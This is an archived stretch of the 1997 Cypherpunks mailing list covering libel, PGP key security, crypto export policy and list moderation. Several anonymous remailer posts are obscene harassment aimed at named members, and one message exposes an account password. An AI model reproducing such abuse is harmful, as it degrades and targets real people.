Feb 1997 22:00:20 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <01BC108B.EE831D80@king1-20.cnw.com> From: Greg Broiles Since we've now got Jim Bell arguing that it's obvious that a free and open society must tolerate anything which might be defamatory, and Jim Choate arguing that it's obvious that a free and open society cannot tolerate anything which might be defamatory, I think I'm going to wander away from this discussion confident that the answer is, at least, nonobvious. :) .................................................................. Heh - Jim B. and Jim C.: the Yin & Yang of Society At Large. What could a discussion between them produce. .. Blanc From wlkngowl at unix.asb.com Sat Feb 1 22:02:25 1997 From: wlkngowl at unix.asb.com (Rob) Date: Sat, 1 Feb 1997 22:02:25 -0800 (PST) Subject: Key Security Question Message-ID: <199702020625.BAA07602@unix.asb.com> On 31 Jan 1997 15:37:01 -0500, you wrote: >My computer went into the shop a few days ago, and I was unable to take >my PGP keys off it before it went in. What are the security risks here? >If the repairman chooses to snoop through the files, what would he be >able to do with my key pair? Will I need to revoke the key and make a >new one, or will I be relatively safe since he doesn't have my >passphrase? Depends how paranoid you are, how good your passphrase is, how much you trust the repairman not to snoop, etc. For the hell of it I'd revoke my key and issue a new one though. It's not a minor inconvenience, and when people use your old key you can still decrypt the message... just send 'em a note that you prefer they use you're current (unrevoked) key. --Rob From ichudov at algebra.com Sat Feb 1 22:02:56 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 1 Feb 1997 22:02:56 -0800 (PST) Subject: Key Security Question In-Reply-To: <9gDH2D8w165w@bwalk.dm.com> Message-ID: <199702020557.XAA17186@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > Bill Stewart writes: > > On the other hand, if the "repairman" replaced your pgp executable > > with version 2.6.3kgb, which uses your hashed passphrase as the > > session key, you're hosed. Or if he installed a keystroke sniffer, > > or added a small radio transmitter to your keyboard, or whatever. > > Depends on your threat model. If you need to be paranoid, > > they've already gotten you.... > > If you're really paranoid, you can boot from a clean floppy and > reinstall everything from your backup tapes. You do have a > contingency plan in case your hard disk goes bad, or gets a > virus, don't you? Well, if you're in doubt, exercise it. And what if the repairman replaces BIOS ROM chips with KGBios? - Igor. From wlkngowl at unix.asb.com Sat Feb 1 22:12:16 1997 From: wlkngowl at unix.asb.com (Rob) Date: Sat, 1 Feb 1997 22:12:16 -0800 (PST) Subject: NOISE.SYS Home Page Message-ID: <199702020635.BAA07796@unix.asb.com> I now have an under-construction home page for NOISE.SYS, in case you're interested: http://www.asb.com/usr/wlkngowl/software.htm#noise (NOISE.SYS is a crypto-RNG device for DOS boxes.) Rob ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From blancw at cnw.com Sat Feb 1 22:30:00 1997 From: blancw at cnw.com (blanc) Date: Sat, 1 Feb 1997 22:30:00 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <01BC108F.F7C3BFE0@king1-20.cnw.com> From: Toto What currently threatens the list, in my opinion, is not the dissension, but the rise of a cliquish sheep-mentality and the resulting dismissal of the opinions of people of Reason (and the opinions of 'anyone', in general, whom 'I' perceive as being on the 'other side' of an issue). ........................................................................ Who are these sheep you're talking about? At the end of the trial period, anyone still on the list who doesn't like the moderation can at their leisure either protest vehemently its continuation, producing masterly works of eloquence in favor of continuing the free-for-all, or they can unsubscribe (sp?). They *don't* have to take it, or identify with the cpunks any longer. I think what threatens the list is the absence of really major issues to fire up everyone's sense of indignation & imagination, plus the fact that many of the long-timers are pretty sophisticated on all the political issues which have been discussed before (how many of Tim May's long treatises, engaging, thorough, and relevant as they may be, can one read yet again without recognizing the repetitive themes therein), plus a lack of interest in engaging in rhetorical arguments with people who find it difficult to think in a straight line. Sometimes the posts on the list come to resemble more attempts at educating the clueless than discussions among peers which could truly advance an understanding of between fine points of difference. Whom can one blame for what does not exist (on the list) - there is no mechanism for its production; only the attractions of the subject and the aim, are what bring in the participants who could provide substance and depth. Perhaps waxing lyrical on the features of Eudora and regular reminders on the benefits of mail filtering would be encouraging to "the timid"? .. Blanc From haystack at holy.cow.net Sat Feb 1 22:38:48 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sat, 1 Feb 1997 22:38:48 -0800 (PST) Subject: No Subject Message-ID: <199702020620.BAA23384@holy.cow.net> Timmy May was born when his mother was on the toilet. O |'| /\ | | Timmy May /\ \-------| / / |-------| From nobody at huge.cajones.com Sat Feb 1 22:47:18 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 1 Feb 1997 22:47:18 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <199702020229.SAA04750@toad.com> Message-ID: <199702020647.WAA00216@mailmasher.com> David Lesher writes: > USPS uses key locks seemingly designed by Ben Franklin himself. > Look at them someday. FedEx boxes used to have Simplex 926 > 5 pushbutton ""locks"" if you stretch the point. Don't let the old-fashioned look deceive you. Most mail storage boxes use lever tumbler locks (similar to what's used in safe deposit vaults, though obviously the mailbox locks have a flimsier plug). Lever tumbler locks are in general much harder to pick than pin tumbler locks (the kind on most doors). From winsock at rigel.cyberpass.net Sat Feb 1 22:47:54 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sat, 1 Feb 1997 22:47:54 -0800 (PST) Subject: Biham on DES keysearch Message-ID: <199702020647.WAA24187@sirius.infonex.com> The arrival of warm weather is heralded by the pig shit getting soft in Dr.Desperado L[ingerie] Vinegar K[unt]OTM's mini-cranium and the resulting green slime seeping through his cocaine- and syphilis- damaged nose and onto his keyboard. (___) (o o)_____/ @@ ` \ Dr.Desperado L[ingerie] Vinegar K[unt]OTM \ ____, / // // ^^ ^^ From nobody at huge.cajones.com Sat Feb 1 22:50:56 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 1 Feb 1997 22:50:56 -0800 (PST) Subject: Media seekers, reputation and banishment Message-ID: <199702020650.WAA00961@mailmasher.com> Dr.Dimwit Vibrator K>ockock Dense Vomit is so in love with himself, he cries out his own name when orgasming. Then again, no one else is ever around. __[I]__ o-o' __oOo__(-)_oOo__ Dense Vomit V From toto at sk.sympatico.ca Sat Feb 1 23:17:35 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 23:17:35 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <01BC108F.F7C3BFE0@king1-20.cnw.com> Message-ID: <32F45C3F.2FB1@sk.sympatico.ca> blanc wrote: > From: Toto > What currently threatens the list, in my opinion, is not the dissension, > but the rise of a cliquish sheep-mentality and the resulting dismissal > of the opinions of people of Reason (and the opinions of 'anyone', in > general, whom 'I' perceive as being on the 'other side' of an issue). > ........................................................................ > Who are these sheep you're talking about? At the end of the trial period, > anyone still on the list who doesn't like the moderation can at their > leisure either protest vehemently its continuation, producing masterly > works of eloquence in favor of continuing the free-for-all, or they can > unsubscribe (sp?). I am not speaking of the sheep-mentality in regard to moderation or any other single issue on the list. I am speaking of the tendency of many list-members to fall into common ruts of thought wherein the comments and opinions of others are auto-files as this-or-that, and interpreted in that light, no matter what the actual content of their messages. I told Attila the Hun, in private email, that when I opened his messages, that I never knew whether to "pucker-up or duck", because he was just as likely to chastise me as agree with me, depending on his personal opinion of an individual post of mine. I regard Igor and yourself, and a number of others, in the same light. I'm reluctant to bend over and drop my pants, waiting for you to kiss my butt, because I realize that I am just as likely to feel the sting of your toe-nailed boots instead of soft lips. > I think what threatens the list is the absence of really major issues to > fire up everyone's sense of indignation & imagination, But, under the New List Order, any strong opinion risks being thrown in the crapper as a 'flame'. >plus the fact that > many of the long-timers are pretty sophisticated on all the political > issues which have been discussed before (how many of Tim May's long > treatises, engaging, thorough, and relevant as they may be, can one read > yet again without recognizing the repetitive themes therein), Yes, but there are always members to whom these treatises and orientation of thought are 'new', and people only notice the repetiveness when they are, indeed, following these posts, which means that they must be getting some value out of them. > plus a lack > of interest in engaging in rhetorical arguments with people who find it > difficult to think in a straight line. I, too, agree that you can lead a horse to water, but a stitch in time saves nine. > Sometimes the posts on the list > come to resemble more attempts at educating the clueless than discussions > among peers which could truly advance an understanding of between fine > points of difference. Some of the more rambling threads are indeed the result of not understanding that some of the clueless aren't seeking a clue, but merely to hold on to their ignorance. But I would rather err on the side of believing that the person I am replying to is sincere in wanting to discuss an issue in order to gain a broader understanding of it. Toto From kent at songbird.com Sat Feb 1 23:36:39 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 1 Feb 1997 23:36:39 -0800 (PST) Subject: Free & Open Society & toleration In-Reply-To: <199702020230.SAA04826@toad.com> Message-ID: <199702020840.AAA10277@songbird.com> Jim Choate allegedly said: > > It has been asserted that I am claiming that a free and open society should [...] > > This is not my case at all. I hold that [...] > means do I hold [...] > I hold [...] > worthless. I DO hold [...] > all speech. I further hold [...] > I further hold [...] > I further hold [...] Whew! That's a lot of holding, my friend. I've heard that prunes help. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From stewarts at ix.netcom.com Sat Feb 1 23:50:25 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 23:50:25 -0800 (PST) Subject: How I Would Ban Strong Crypto in the U.S. In-Reply-To: Message-ID: <3.0.1.32.19970201223051.00685d20@popd.ix.netcom.com> At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new, Raph Levien wrote: >1. The battle over whether applications can contain strong encryption >algorithms has basically been lost. For example, SSL-enabled >applications are widely available over the world, thanks in large part >to the work of Eric Young. The same will happen for any other encryption >protocol that catches on. Unfortunately, the Government hasn't given up on this one; Peter Gutman's recent articles on export policy in New Zealand and Australia suggest that Our Public Servants are trying an end-run by getting those countries to stop export and development by productive crypto authors, targeting the toolkits that are being widely used inside and outside the US. >2. The battle for key management has not yet been fought. Yeah. I haven't heard much from Clipper III recently, since they've been trumpeting Clipper IV "Key Recovery" recently, but that doesn't mean it's not going on. Unlike politican efforts such as Key Recovery, infrastructure attacks such as PKI may require long-term technical development - the Cooperative Research and Development Alliances (CRADAs) are not just to bribe otherwise-valuable companies to stay out of the way, they're to do things that may be sprung on us later; I'd predict this coming summer. For instance, back in July, John Young quoted a Business Wire article about = Toronto -- Certicom Corp. a leading information security = company, today announced that it will participate in an = initiative by the U.S. Commerce Department's National = Institute of Standards and Technology (NIST) which will = lead to the development of the elements of a public key = infrastructure (PKI). Certicom are the folks who do Elliptic Curve Cryptosystems, which haven't been used much due to patent questions and RSA's dominance, but which allow much shorter public keys and may have some speed advantages, both of which are quite important for smartcard use. >3. Anybody can write an application that supports strong encryption >algorithms. Witness SSH, a very impressive and useful program, which was >basically done by one person, Tatu Ylonen. However, building a key >management infrastructure will take lots of money, hard work, and >cooperation. .... >4. Thus, the best leverage for the TLAs to win is to guide the >development of a key management infrastructure with the following >property: if you don't register your key, you can't play. I believe that >this is the true meaning of the word "voluntary:" you're free to make >the choice not to participate. .. >6. Export is a two player game. The other country has to allow import of >the stuff, too. If the Burns bill passes, the "administration" would >strong-arm other countries to prohibit import of strong crypto, still >leaving US developers with no market. It failed, and they've now got an Ambassador strong-arming other countries to prohibit export. >7. Building this stuff is too much of a task for the TLAs. They tried it >with Clipper, and it failed. They hoped that building the Tessera card >would be enough - that once they threw it over the wall, it would be >eagerly snapped up by industry. >8. Thus, they're going to cajole, bribe, and coerce software companies >to play along. This fact is quite nakedly exposed in the document (good >thing the injunction against the CDA is still in force :-). Yeah. Clipper IV is getting a lot of people jumping on the bandwagon to get export permission for their 56-bit software. Many of the people who are most vocal about it are the usual suspects anyway, but it's closer to commercial usability that industry's more cooperative this round, especially with more Internet money fever. >> Don't be fooled. >Who? Us cypherpunks? >Raph :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From attila at primenet.com Sat Feb 1 23:52:00 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 1 Feb 1997 23:52:00 -0800 (PST) Subject: Libel, Times v. Sullivan In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net> Message-ID: <199702020751.AAA25240@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970201:1452, Greg Broiles said: +Since we've now got Jim Bell arguing that it's obvious that a free and +open society must tolerate anything which might be defamatory, and Jim +Choate arguing that it's obvious that a free and open society cannot +tolerate anything which might be defamatory, ... for what it is worth, anti-defamation, Germany's anti-Holocaust denial, and anti- just about anything legislation dealing with free speech is of and by its very nature an abridgement of your personal freedoms. If you deny one form of speech, it is easy to deny another, and then another... do you wish to march foolishly to Fahrenheit 451? Before the current generation of government vipers and revisionists remove or rewrite even more of the immortal words of history: "Those who deny freedom to others deserve it not for themselves." --Abraham Lincoln let's look at one more famous speech on "nibbling" your rights: "Let us contemplate our forefathers, and posterity, and resolve to maintain the rights bequeathed to us from the former, for the sake of the latter. "Let us remember that 'if we suffer tamely a lawless attack upon our liberty, we encourage it, and involve others in our doom.' It is a very serious consideration that millions yet unborn may be the miserable sharers of the event." --Samuel Adams ("patriot, statesman..."), speech, 1771 and: "The more difficult it is to interact with the government, the more the government wants gun control." --attila in other words, the more they deny our inaliable right to free speech, the more they need gun control before we rise against the usurpers of our rights. Now, if there ever was a liberal do-gooder, Eleanor certainly was: "No one can make you feel inferior without your consent." --Eleanor Roosevelt now, does she mean what she says literally? in other words, is she saying to say what you want, and she will not be harmed or "feel inferior" in this case? I can presume Eleanor could be offended, but is that sufficient to abridge your rights? Nietzsche expresses a defiant tone on first glance -no, the general interpretation is absolute freedom --speech included. "I understand by 'freedom of Spirit' something quite definite - the unconditional will to say No, where it is dangerous to say No." --Friedrich Nietzsche Is not the right to bear arms the same basic freedom as free speech, with one limitation: improper use carries criminal penalties --basically, because the act denies another his freedom. "The right of self-defense is the first law of nature ...and when the right of the people to keep and bear arms is, under any color or pretext whatsoever, prohibited, liberty, if not already annihilated, is on the brink of destruction." --St. George Tucker, in his edition of Blackstone's Commentaries did not the Magna Carta guarantee the right of free speech? Of course, there was not full suffrage at that time, but the Magna Carta is the basis of our common law. Then, let's look at another concept of freedom and a "democracy" Just because a mob calls itself a government, doesn't make it so. Democracy is two wolves and a sheep voting on what to have for dinner. People who claim that money doesn't matter, are usually living on someone else's money. Society is a mental construct, formed by those people who are too insecure to handle the concept of people as individuals. which gets down to just what the hell did my forefathers, and maybe yours, fight for in 1776 if it was not for freedom of speech and assembly, the right to bear arms, to be free from unreasonable search and seizure; and enjoy the protection of law? if we do not pick up that fight and stop corrupt governments from usurping the power of the people, we will lose all freedom. If we give in on _any_ of the first 10 amendments, our Bill of Rights, we are surrendering our deserved personal franchise to a usurping government. and it starts with society and government trying to tell us what we can freely say. I may not like what you have to say, or that you insult my sensibilities or my rectitude, but I will defend your right to my death so that you may do so. Therefore: "With heart and hand I pledge you while I load my gun again, you will never be forgotten or the enemy forgiven, my good comrade..." --Anton Szandor LaVay -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal 0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB yTZ51fvB3tU= =aTWw -----END PGP SIGNATURE----- From attila at primenet.com Sat Feb 1 23:52:28 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 1 Feb 1997 23:52:28 -0800 (PST) Subject: Libel, Times v. Sullivan In-Reply-To: <3.0.32.19970201144910.0068e100@ricochet.net> Message-ID: <199702020752.AAA25251@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970201:1452, Greg Broiles said: +Since we've now got Jim Bell arguing that it's obvious that a free and +open society must tolerate anything which might be defamatory, and Jim +Choate arguing that it's obvious that a free and open society cannot +tolerate anything which might be defamatory, ... for what it is worth, anti-defamation, Germany's anti-Holocaust denial, and anti- just about anything legislation dealing with free speech is of and by its very nature an abridgement of your personal freedoms. If you deny one form of speech, it is easy to deny another, and then another... do you wish to march foolishly to Fahrenheit 451? Before the current generation of government vipers and revisionists remove or rewrite even more of the immortal words of history: "Those who deny freedom to others deserve it not for themselves." --Abraham Lincoln let's look at one more famous speech on "nibbling" your rights: "Let us contemplate our forefathers, and posterity, and resolve to maintain the rights bequeathed to us from the former, for the sake of the latter. "Let us remember that 'if we suffer tamely a lawless attack upon our liberty, we encourage it, and involve others in our doom.' It is a very serious consideration that millions yet unborn may be the miserable sharers of the event." --Samuel Adams ("patriot, statesman..."), speech, 1771 and: "The more difficult it is to interact with the government, the more the government wants gun control." --attila in other words, the more they deny our inaliable right to free speech, the more they need gun control before we rise against the usurpers of our rights. Now, if there ever was a liberal do-gooder, Eleanor certainly was: "No one can make you feel inferior without your consent." --Eleanor Roosevelt now, does she mean what she says literally? in other words, is she saying to say what you want, and she will not be harmed or "feel inferior" in this case? I can presume Eleanor could be offended, but is that sufficient to abridge your rights? Nietzsche expresses a defiant tone on first glance -no, the general interpretation is absolute freedom --speech included. "I understand by 'freedom of Spirit' something quite definite - the unconditional will to say No, where it is dangerous to say No." --Friedrich Nietzsche Is not the right to bear arms the same basic freedom as free speech, with one limitation: improper use carries criminal penalties --basically, because the act denies another his freedom. "The right of self-defense is the first law of nature ...and when the right of the people to keep and bear arms is, under any color or pretext whatsoever, prohibited, liberty, if not already annihilated, is on the brink of destruction." --St. George Tucker, in his edition of Blackstone's Commentaries did not the Magna Carta guarantee the right of free speech? Of course, there was not full suffrage at that time, but the Magna Carta is the basis of our common law. Then, let's look at another concept of freedom and a "democracy" Just because a mob calls itself a government, doesn't make it so. Democracy is two wolves and a sheep voting on what to have for dinner. People who claim that money doesn't matter, are usually living on someone else's money. Society is a mental construct, formed by those people who are too insecure to handle the concept of people as individuals. which gets down to just what the hell did my forefathers, and maybe yours, fight for in 1776 if it was not for freedom of speech and assembly, the right to bear arms, to be free from unreasonable search and seizure; and enjoy the protection of law? if we do not pick up that fight and stop corrupt governments from usurping the power of the people, we will lose all freedom. If we give in on _any_ of the first 10 amendments, our Bill of Rights, we are surrendering our deserved personal franchise to a usurping government. and it starts with society and government trying to tell us what we can freely say. I may not like what you have to say, or that you insult my sensibilities or my rectitude, but I will defend your right to my death so that you may do so. Therefore: "With heart and hand I pledge you while I load my gun again, you will never be forgotten or the enemy forgiven, my good comrade..." --Anton Szandor LaVay -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvRHa704kQrCC2kFAQE9dgP8D+q2ZFytBzdgWDh+QdtunUa8nqhopHrS OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal 0BHWha5cHqL0pEiFs/NTWAVoVGfPZl2jcikViXMRAqt8mmXmbC3bxPjBtlfnTzmB yTZ51fvB3tU= =aTWw -----END PGP SIGNATURE----- From nobody at huge.cajones.com Sun Feb 2 00:02:06 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 2 Feb 1997 00:02:06 -0800 (PST) Subject: [IMPORTANT] Mondex Message-ID: <199702020802.AAA10932@mailmasher.com> Dr.Deceptive Vilest K[rud]OfTheMoment will fuck anything that moves, but he'd rather be fucking his own mother's dead body. /\_./o__ Dr.Deceptive Vilest K[rud]OfTheMoment (/^/(_^^' ._.(_.)_ From coryt at rain.org Sun Feb 2 00:51:47 1997 From: coryt at rain.org (coryt at rain.org) Date: Sun, 2 Feb 1997 00:51:47 -0800 (PST) Subject: New Member Registration Message-ID: <199702020851.CAA14408@fs1.sccsi.com> Requested Account Name: ashley Requested Password: eyez THIS MEMBER HAS BEEN ADDED TO THE UPDATE LIST From toto at sk.sympatico.ca Sun Feb 2 01:07:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:07:18 -0800 (PST) Subject: Flaming Moderators In-Reply-To: <199702020751.AAA25240@infowest.com> Message-ID: <32F46CFD.1122@sk.sympatico.ca> Attila T. Hun wrote: > "Let us remember that 'if we suffer tamely a lawless attack > upon our liberty, we encourage it, and involve others in our > doom.' > --Samuel Adams ("patriot, statesman..."), speech, 1771 Looks like Sam needs to be autobotted to the 'flames' list. Toto From azur at netcom.com Sun Feb 2 01:40:41 1997 From: azur at netcom.com (Steve Schear) Date: Sun, 2 Feb 1997 01:40:41 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: <199702020940.BAA15580@toad.com> > What the US government will allow to be exported is not "strong >encryption." It is encryption only slightly too strong to be broken >by an amateur effort. For the right investment in custom hardware, it >falls quickly. (500,000 $US = 3.5 hour avg break). > Considering Ian's feat you certainly seem to have had your crystal ball in hand. --Steve From toto at sk.sympatico.ca Sun Feb 2 01:40:52 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:40:52 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702020940.BAA15621@toad.com> jim bell wrote: > Your last paragraph looks like an exercise of the silly game the TV show "60 > minutes" producers often play when they read the letters from the audience > about a previous report on a controversial subject. They first read a > letter from an outraged viewer who claims that the TV show's producers must > have been biased in one direction, and then they read another letter from a > different viewer who alleges they showed a bias in the opposite direction. > The show is trying to leave you with the impression that they MUST have been > unbiased, because they are being accused of diametrically opposite leanings. Sounds suspiciously like Sandy's approach to 'fair' moderation, to me. > All they are really showing is that given the hundreds and probably > thousands of letters they receive on each show weekly (which are, by > definition, written by self-motivated people) they can get at least one on > each end of the spectrum for whatever subject they've just covered. Perhaps they author these 'letters' themselves: "I agree wholeheartedly with the position espoused by '60 Minutes'. and, "I don't not think maybe dat dese guys are write, nohow." > A clue is present in the likely fact that the origins of defamation laws > were primarily to keep the king and the upper-crust free of printed and > verbal attack directed by the lower-classes, even given the presence of > whatever nominal "free-speech" guarantees were present. Next thing you know, saying, "The king is fucking the queen.", is libel and defamation. Go figure... Toto From toto at sk.sympatico.ca Sun Feb 2 01:40:53 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:40:53 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020940.BAA15622@toad.com> blanc wrote: > Toto, I'm surprised at how seriously you take the underlying anarchist > philosophy of the list; you identify so closely with it, and have responded > to its moderation as though it really would be "the end of freedom", even > though you seem to have appeared, or else come out of lurking, only > recently. Is this because you value anarchy, or free speech, or the > existence of the Cypherpunks as a unique group of stray cats [ :>) ]? I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take your pick). Anarchy is only a pause between dictators. Fascism is necessary to remind us not to take freedom for granted. One should call for 'order' during the rein of anarchy and for 'freedom during times of Fascism. I have 'appeared' and/or 'come out of lurking' on the CypherPunks list at various times since it's inception, under various personas. Few have noticed, and fewer, still, have ever accurately described, as you have, what I truly value about the CypherPunks--"a unique group of stray cats." The CypherPunks have, over the years, weathered varying sorts of 'problems' in the development of the list, as a result of various 'voices of Reason' prevailing in the setting the list's direction--even when those 'voices' were diametrically opposed in their beliefs. What currently threatens the list, in my opinion, is not the dissension, but the rise of a cliquish sheep-mentality and the resulting dismissal of the opinions of people of Reason (and the opinions of 'anyone', in general, whom 'I' perceive as being on the 'other side' of an issue). If the day comes when I am able to file away the CypherPunks list under this-or-that category, then I will put a tombstone in the file, as well, and put flowers in it once a year. Toto > Side note: > Since Tim isn't on the list and hasn't been for a month, I've been > wondering if it had anything to do with the moderation experiment, although > it is unlike him to have left without either an argument or at least some > kind of statement about it. > > .. > Blanc From markm at voicenet.com Sun Feb 2 01:42:32 1997 From: markm at voicenet.com (Mark M.) Date: Sun, 2 Feb 1997 01:42:32 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702020942.BAA15658@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Sat, 1 Feb 1997, jim bell wrote: > At 12:52 PM 2/1/97 -0500, Mark M. wrote: > >On Sat, 1 Feb 1997, Peter J. Capelli wrote: > > > >> You mean to say, rich people can overcrowd the courts as much as they > >> like, while others are restricted by contigency-only lawyers ( Call > >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to > >> control > >> a poor one with many frivolous lawsuits ... while they can afford to file > >> lawsuit after lawsuit, the poor person cannot defend himself. > > > >What, exactly, would be the point of suing a poor person? > > To quiet him from political dissent, presumably. I think the term coined a > few years ago was "SLAPP", something akin to "Strategic Lawsuit Against > Public Policy," or similar. I should point out that in my previous post, I was refering to the specific instance of libel -- not any general lawsuit. I can think of very few instances where a rich person would sue someone without the resources to even defend himself for libel just to harass the defendant. I'm sure there are a few cases, but it wouldn't be worth the plaintiff's time or money. I would be interested if anyone knows of any specific examples of this. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvQQAyzIPc7jvyFpAQFAfQgAp5qsAm9LZdXeR3+8s4LkUv5qH6Ju8Rda te3EJ90gjHxDcv/QRopQ3fRM5KzsHgr5JqPRWDFF0Zo3CxbRsB8x/CK3aIo2axpt xEAeA/TT3oBWOCXFs2fVR6dCy4XAMh4e/q58kNnDqqUnJNBgto5kr8Hp4op9Ypgi WO0G0Su6L8JuBwnui6Ni5XxHSBchBwu6Z0Jv0TFrG43lnS++K+UriX9cIYxR8JVH roUg/9SDCZysmuEvNh8VMLAd492wD2jhge4LiiYaSNWrpe5JD2jA/nJ9Olevpu3v 4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ== =qrVu -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Sun Feb 2 01:42:33 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sun, 2 Feb 1997 01:42:33 -0800 (PST) Subject: Free & Open Society & toleration (fwd) Message-ID: <199702020942.BAA15659@toad.com> Forwarded message: > Nobody has a problem with your ideals, it's just that Jim Bell is > trying to say (correct me and forgive me if I'm wrong) that: > > 1. Society will never subscribe to your ideals. But other than two points they already do. The two points being, 1. Libel is a recognized legal concept now, the difference is one of degree. That degree of difference being how much money there is available for the lawyer and their willingness to enforce the concepts of justice in the society based upon their perceived ability to profit by it. 2. The extension of acceptance of reasonable legal representation by lot from not only the defence but also the prosecution. My solutions to these two issues are: 1. Removal of the lawyer from the ultimate choice of whether the case should be pursued. 2. The minimalization of the defendants and plaintiffs monetary resources by removing them from the legal system by choosing the legal representation of both parties by lot. 3. By moving the responsibility of police to provide evidence from the prosecution to the court we equalize the impact of irregularities in evidence selection as well as minimizing the sorts of evidence disputes which so impact some trials (ie OJ Simpson). 4. By the implimentation of a bond proviso on the part of the plaintiff the system provides a check and balance reducing nuisance cases as well as reducing the taxation load on the citizenry. > 2. Society is not static, i.e., instead of remaining at a constant > level of corruption, the officials will keep demanding more, > until there's a sudden, catastrophic break. Absolutely, that is one of the reasons I refuse to seperate those who represent the social contract (eg the Constitution) and those who are impacted by it, which includes even those who represent it and enforce its various responsibilities. AP relies on this distinction as axiomatic. This axiomatic view is ultimately based in a jealous greed for what others have (ie power, percieved or real) and the implicit belief that all people are NOT created equal. > 3. The AP solution has the potential to stabilize the level of > corruption, which should make violent revolutions and genocide > unnecessary. But it doesn't. What it does is provide a mechanism for de-stabalization. Just look at the Middle East and the history of assassination. Assassinations have never stabalized that region or any other. There is nothging in our current understanding of human psychology and social interactions that leads to the conclusion that threats of violence will necessarily force people to comply. If it did the government (as perceived by AP) would not have to deal with real opposition. Simply threaten the opposition and it melts away for the same reason that supposedly the government would cease to oppose radicalism (ie changes in the status quo forced by small groups upon the masses). If anything every real world example of AP demonstrates an increase in corruption (eg. Beirut). The closest analog in history to AP is the "Flowery Wars" as practiced by the Aztecs. However, these were motivated by a belief in religous homogeneity and not one of politics. Also, implicit in this was the axiomatic acceptance of a real class seperation between those who ruled and those who were ruled. By no means could one accept the premise that this caused the Aztec rulers to be more sensitive to corruption or the continued existance of their system. Another good example is assassination in ancient Rome, it is clear that such activities in no way reduced corruption. If anything AP provides a rationale (ie self-defence) to impose even harsher a priori conditions on sections of a society by another part of that society. Hardly what I would consider a stabalizing condition let alone democratic. What is required for stability is for each group to feel unthreatened and secure in expressing their beliefs without fear of reprisals and at the same time recognizing they must provide room for others beliefs. There must also be the realization that refusal to abide by these precepts will be met with immediate consequences. Something AP can't do, as it explicitly promotes threats and the carrying out thereof. On another issue, it was asked what purpose there is in suing a poor person. Simple lack of monetary wealth should be no more reason to exempt a party from justice than having large quantities. A citizen should face the consequences of their actions, how rich or poor they are is an irrelevant issue. Concepts required for a true working democracy: Liberty Justice Equality Fraternity Jim Choate CyberTects ravage at ssz.com From toto at sk.sympatico.ca Sun Feb 2 01:45:56 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:45:56 -0800 (PST) Subject: [GSM] Hardening mailing lists against spam attacks In-Reply-To: <199701310157.RAA01193@toad.com> Message-ID: <32F47F09.118D@sk.sympatico.ca> Huge Cajones Remailer wrote: > > __o > _ \<_ > (_)/(_) This guy keeps forgetting to add 'crypto-relevant' to his headings. No wonder they go to 'flames'. From toto at sk.sympatico.ca Sun Feb 2 01:46:03 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 2 Feb 1997 01:46:03 -0800 (PST) Subject: New Member Registration In-Reply-To: <199702020851.CAA14408@fs1.sccsi.com> Message-ID: <32F47E22.2C@sk.sympatico.ca> coryt at 